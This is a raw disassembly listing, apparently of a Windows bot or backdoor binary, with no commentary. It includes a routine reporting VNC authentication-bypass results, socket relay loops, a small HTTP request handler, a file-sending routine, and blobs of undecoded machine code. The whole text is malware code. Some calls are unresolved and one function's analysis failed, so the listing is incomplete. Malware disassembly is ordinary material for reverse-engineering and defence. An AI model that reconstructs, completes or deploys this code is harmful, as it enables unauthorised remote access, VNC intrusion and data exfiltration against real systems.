		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431440[eax]
		push	ebx
		lea	eax, dword_431440[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCE0
		call	near ptr 26E0000h
		nop
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCD4
		nop
		call	near ptr 26F0000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFF4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 0A415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h,	0B02415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFD0h
		dd 75FF056Ah, 0CC15FF08h, 8B004CAFh, 4270FC1Dh,	68358B00h
		dd 57004270h, 875FF57h,	0B03815FFh, 0E4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCE068h, 0DCDC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0D8685057h, 68004CDCh
		dd 4CDCD4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0DCA10000h
		dd 83004CDCh, 45890CC4h, 0DCD8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 1FC2E890h, 0FF50022Fh, 4CDCD835h, 1FB6E800h,	5090022Fh
		dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43353Ch, 2694E857h, 8D900224h
		dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 2261FAFh
		dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1F95E890h, 0FF6A0226h, 0FFF04589h, 0E890D875h, 2271FD1h
		dd 0F075FF57h, 2777E890h, 0FF570227h, 0E890EC75h, 227276Dh
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0D1E8D875h, 90022E25h
		dd 0DCDC35FFh, 0D6FF004Ch, 0DCE035FFh, 0D6FF004Ch, 0DCD435FFh
		dd 0D6FF004Ch, 0DCD835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCEC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 0A415FFFFh, 53004CAFh, 66026A56h, 89EE4589h,	15FFF05Dh
		dd 4CB024h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2C186BE8h
		dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0DEECB889h
		dd 458D0043h, 0FF5750ECh, 4CAFD015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF38h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0ECA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFD015h
		dd 75C63B00h, 3815FF54h, 33004CAFh, 0E47539F6h,	403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 90565959h, 2C176FE8h, 57056A02h, 0AFCC15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB038h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 0BC15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACE0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35446850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFF415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCF405h, 0FF38E900h, 0FF57FFFFh, 4CB03C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h,	716A2B36h
		dd 0ACE0A166h, 6583004Ch, 665000B8h, 2B445C7h, 0A415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
		dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0C68156Ah, 50004338h, 3BE9D3FFh, 56000004h
		dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh,	527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 468FFFFh, 50004338h,	0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337FCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337E468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337DC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 4337C468h
		dd 8D61EB00h, 0FFFF5085h, 37BC68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 37AC680Dh, 40EB0043h, 0FF50858Dh
		dd 0A468FFFFh, 50004337h, 0D40BE8h, 0C0855900h,	560A7559h
		dd 9068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43378Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43376Ch
		dd 2F1E957h, 64BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43376068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43374C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433748h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433734h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 43372Ch, 0D352E850h, 85590000h, 347559C0h
		dd 0BE0A6Ah, 59004337h,	0FED8BD8Dh, 0A5F3FFFFh,	0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0F868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36E0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336D8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 4336B068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 4336A868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43369Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43367C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43367468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43364868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 43362Ch, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 36146817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35F468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDAB0h, 562EEB59h, 0D068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C9C0h, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 4335B4h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CDCF8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 267053Bh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAFA4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEEC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB040
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE90
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB03C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA60 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43384C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB03C


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433824
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
